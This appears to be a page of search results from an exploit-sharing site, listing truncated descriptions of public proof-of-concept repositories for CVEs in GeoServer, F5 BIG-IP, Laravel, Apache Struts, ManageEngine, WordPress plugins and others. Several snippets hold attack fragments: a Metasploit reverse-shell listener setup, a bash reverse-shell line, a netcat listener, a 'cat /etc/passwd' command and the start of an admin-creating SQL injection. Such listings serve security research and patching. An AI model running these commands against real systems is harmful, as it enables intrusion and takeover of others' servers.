324901 matches found
CVE-2024-36401-PoC
CVE-2024-36401-PoC CVE-2024-36401 GeoServer 的概念验证利用 GeoServer 的受影响版本为 2.23.6、2.24.4、2.25.2 之前的版本 !!! 仅供安全测试使用 !!! 除非您拥有明确许可，否则请勿在非您拥有的系统上使用此工具 !!! 运行方式... 1. 在 Metasploit 中启动一个监听器 msf6 use exploit/multi/handler msf6 exploitmulti/handler set payload linux/x64/meterpreterreversetcp msf6...
CVE-2020-5902-Scanner
CVE-2020-5902-Scanner 基于 Python 3 编写的自动 F5 Big IP 远程代码执行 CVE-2020-5902 扫描器 漏洞描述 F5 于 2020 年 6 月 30 日发布了一个影响多个 Big IP 版本的严重远程代码执行漏洞 CVE-2020-5902。攻击者可以轻松利用 TMUI（流量管理用户界面）中未公开页面上的 RCE 和 LFI。 简而言之，这是一个远程代码执行和本地文件包含漏洞的变种，CVSS 评分为 10。 安装 对于 Windows $python -m pip install requests 或 对于 Linux $ sudo...
CVE-2015-5377
CVE-2015-5377 Elasticsearch 1.5.2 存在通过不安全的 Java 反序列化导致的远程代码执行（RCE）漏洞。 该漏洞利用攻击 9300 端口上的传输协议。该反序列化基于 Groovy MethodClosure 链来实现 RCE。...
CVE-2019-5624
CVE-2019-5624 Metasploit 的 CVE-2019-5624 漏洞的概念验证 Rubyzip 不安全的 ZIP 处理导致远程代码执行 介绍 2019年2月，我在 Rubyzip 库中发现了一个新漏洞。它允许攻击者利用不安全的 ZIP 处理（Zip Slip）导致远程命令执行。 该漏洞被用于攻击所有低于5.0.18版本的Metasploit（见Metasploit Wrap-Up） 我写了一篇详细的博客文章解释了该漏洞。 概念验证 POC 创建包含以下内容的文件： root /bin/bash -c "exec /bin/bash0&0 2&0...
CVE-2019-15029
CVE-2019-15029 FusionPBX v4.4.8 远程代码执行漏洞 CVE-2019-15029 的官方利用代码 Metasploit 模块 我编写了一个简单的 Metasploit 模块来利用此漏洞 fusionpbxservices.rb，你只需下载它并将其复制到 metasploit 模块目录中即可。...
CVE-2021-3129---Laravel-RCE
CVE-2021-3129---Laravel-RCE 关于 该脚本用于利用 Laravel RCE CVE-2021-3129 漏洞。 该脚本允许你在运行 Laravel 的网站上写入/执行命令，前提是该网站的 ".env" 文件中将 "APPDEBUG" 设置为 "true"。...
CVE-2024-41662
CVE-2024-41662 VNote 版本 注意：该应用会通过执行输出编码来正确验证某些 JavaScript payload，但在某些情况下无法进行验证。 5. 此外，攻击者可以使用以下 payload 实现远程代码执行 。 受影响版本详情 : =3.18.1 影响 : 攻击者可以利用此漏洞在未授权的情况下访问系统、执行任意命令，并有可能控制受影响的机器。这可能导致系统被攻陷以及其他严重的安全事件。 缓解措施 : 对所有 Markdown 内容实施严格的输入净化。 使用安全的 Markdown 解析器，适当地转义或清除潜在危险内容。 参考链接 :...
cve-2020-0796-scanner
cve-2020-0796-scanner 本项目基于SMBGhost，用于扫描CVE-2020-0796 - SMBv3 RCE漏洞。仅增加了批量扫描功能。 用法 python3 cve-2020-0796-scanner.py -t 临时解决方案 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force...
CVE-2022-32548-RCE-POC
CVE-2022-32548-RCE-POC DrayTek 未认证远程代码执行漏洞（CVE-2022-32548），位于 /cgi-bin/wlogin.cgi 的用户名字段 技术细节 受影响的 DrayTek 设备的管理界面在登录页面 /cgi-bin/wlogin.cgi 处存在缓冲区溢出漏洞。攻击者可将精心构造的用户名和/或密码作为 base64 编码字符串，填入登录页面的 aa 和 ab 字段。 详细信息： 完整的未认证远程代码执行链，使用 Python 编写，支持多目标（IP 列表）和线程（用于更快地检查大量 IP...
CVE-2019-9580
CVE-2019-9580 - StackStorm 利用 CORS null 源实现 RCE（ 在 2.10.3/2.9.3 之前，如果请求的来源未知，我们会返回 null。null 在某些客户端中可能导致来自未知来源的请求成功执行，从而允许针对 StackStorm API 的 XSS 式攻击的可能性。 发现者：Barak Tawily 和 Anna Tsibulskaya 使用 Firefox 的用户是受害者，使用 Chrome 的用户是攻击者 概念验证 利用 null CORS 通过向 StackStorm API 发送带有 null Origin 请求头（Origin:...
CVE-2025-53691
CVE-2025-53691：通过不安全的反序列化实现远程代码执行（RCE） AjaxScriptManager 中的相同反射机制可用于调用 ProcessSerializedData 方法。该方法使用不安全的 BinaryFormatter 对提供的有效载荷进行反序列化，导致远程代码执行。攻击者可以构造恶意的序列化对象，在服务器上执行任意命令。 远程代码执行： 攻击者利用 CVE-2025-53691 在服务器上执行任意代码。 缓解措施 Sitecore 已为此漏洞发布补丁。强烈建议升级到最新版本的 Sitecore XP，或应用提供的安全补丁。 参考 1 Watchtowr Labs...
CVE-2024-37084-Poc
CVE-2024-37084-Poc 关于 CVE-2024-37084 的设置、分析、演示利用和 PoC。 使用方法： py .\CVE-2024-37084-Poc.py usage: python CVE-2024-37084-Poc.py --targeturl --version --payloadurl --listenip --listenport PoC for CVE-2024-37084 - Remote Code Execution optional arguments: -h, --help show this help message and exit...
CVE-2021-44077
CVE-2021-44077 CVE-2021-44077 的概念验证利用程序：ManageEngine ServiceDesk Plus msiexec.exe pip install 安装 requirements 文件，或确保已安装 requests 包。 如果你要接收反弹 shell，请先运行你的监听器，例如： nc -l 4444 然后运行利用脚本，传入 url 和 exe 参数，例如： python exploit.py http://: 示例脚本输出： % python exploit.py http://192.168.0.140:8080 msiexec.exe +...
cve-2016-6662
关于 一些帮助利用 CVE-2016-6662 的资料 警告 请确保在编译前将 c 文件中的攻击者 IP 地址修改为你的 IP 致谢 所有功劳归功于原始发现者。 分析文章在此： http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 讨论在此： https://www.reddit.com/r/netsec/comments/52dgxh/mysqlremoterootcodeexecutionprivilege/ 原始文件托管地址：...
log4shell_1.x
Log4jShell1.x Log4j RCE 1.x PoC 攻击方式 限制条件 1. 目标需具备 JMS 环境 2. 你需要获得修改 log4j.properties 文件的权限 结论 不如 log4shell 2.x 实用 Log4shell 专题 https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j 欢迎为 reapoc 贡献代码 https://github.com/cckuailong/reapoc...
Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter
Nuclei 模板：利用 F5 BIG-IP iControl REST 认证绕过实现 RCE | 命令参数 CVE-2022-1388 是 BIG-IP iControl API 的 REST 组件中的一个认证绕过漏洞，其 CVSSv3 评分为 9.8。iControl REST API 用于 BIG-IP 设备的管理和配置。CVE-2022-1388 可被未认证的攻击者利用，只要攻击者具备访问使用 BIG-IP 设备的管理端口或 self IP 地址的网络访问权限。成功利用该漏洞后，攻击者可以执行任意系统命令、创建和删除文件以及禁用服务。 该模板使用 token-spray /...
S2-057-CVE-2018-11776
S2-057-CVE-2018-11776 针对 Apache Struts RCE S2-057 CVE-2018-11776 的简单利用程序 重要提示：仅供教育或信息目的使用。 部署测试环境 git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d 使用方法 exploit.py 示例 $ python exploit.py "http://127.0.0.1:8080/showcase" "cat /etc/passwd" "actionChain1.action...
CVE-2024-27954
⚠️ CVE-2024-27954 💀 Herramientas Automáticas de Explotación de Ejecución Remota de Código | Por GhostSec 💀 📝 Descripción Limitación incorrecta de una ruta de acceso a un directorio restringido vulnerabilidad de 'Path Traversal' en WP Automatic Automatic permite salto de ruta 'Path Traversal' y...
CVE-2024-27956-RCE
CVE-2024-27956-RCE 针对 CVE-2024-27956 的概念验证（PoC），即 ValvePress Automatic 插件中的 SQL 注入漏洞。该 PoC 利用漏洞在目标系统中创建用户并赋予管理员权限。在 WordPress 中获得管理员权限可导致远程代码执行。 用法 git clone https://github.com/diego-tella/CVE-2024-27956-RCE/ cd CVE-2024-27956-RCE python exploit.py http://target.com 有效载荷 用于创建用户的 SQL 注入载荷： q=INSER...